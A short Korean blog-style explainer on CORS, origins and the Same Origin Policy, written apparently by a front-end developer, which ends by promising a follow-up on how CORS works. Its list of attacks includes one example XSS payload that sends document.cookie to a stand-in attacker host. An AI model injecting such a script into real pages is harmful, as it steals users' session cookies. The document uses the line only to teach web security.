CORS는 Cross-Origin Resource Sharing 교차 출처 자원 공유 라고 하는데 이를 이해하기 위해서 먼저 origin 이라는 것과 SOP 라는 것을 알아보자.
우리가 어떤 사이트에 접속하고자 할 때 우리는 URL이라는 문자열을 통해 접근한다.

이 때 이 URL에서 Path와 Query string, Fragment라는 것을 제외한 protocol, host, port 의 영역을 Origin 이라고 한다!
SOP 는 Same Origin Policy 인데
CORS에 Cross Origin ... 과 반대 개념이라는 것을 알 수 있다
Same Origin <-> Cross Origin
-> SOP는 동일한 Origin 인 놈들끼리만 리소스를 공유할 수 있다! 라는 정책이다.
그렇다면 이 SOP가 필요한 이유가 뭘까?
동일한 Origin 을 가진 URL들끼리만 리소스를 공유할 수 있지 않다면 우리는 보안적으로 취약해진다.
공격받을 수 있는 방법으로는 다음과 같은 방법들이 있다.
크로스 사이트 스크립팅 (XSS):
<script>document.location='http://attacker.com/cookie?'+document.cookie;</script>크로스 사이트 요청 위조 (CSRF):
세션 하이재킹 (Session Hijacking):
고로 SOP는 이렇게 우리를 악의적인 스크립트를 실행하지 않도록 지켜주는 소중한 녀석이었는데 웹이 발전하면서 우리는 다른 Origin을 가진 URL과도 통신을 해야했다.
그래서 등장한것이 CORS 이다.
다시 CORS 를 봐보자.
Cross Origin Resource Sharing
즉 다른 Origin 을 가진 URL끼리도 리소스를 공유할 수 있게 해주는, 사실은 에러가 난다고 싫어할게 아니라 허용해주는 해결책인 착한놈이었다.
CORS야 미안해
즉 SOP 정책을 위반해도 CORS 정책에 따르면 다른 출처의 리소스라도 허용할 수 있는게 된다.
CORS 설정을 하려면 서버에서 Access-Control-Allow-Origin 헤더에 허용할 출처를 기재해서 클라이언트에 응답해야 한다.
즉, 백엔드 개발자가 고쳐야될 부분이다.
CORS 가 무엇인지 대강은 알고, 백엔드 개발자가 해결해줘야 하는 부분이라는 점을 알고 한시름 놓게 되었지만 CORS가 작동하는 방식에 3가지 시나리오가 있다.
여기까지는 FE개발자라도 알아놓아야 한다니 다음 번에 CORS 작동방식에 대해 다뤄보겠다!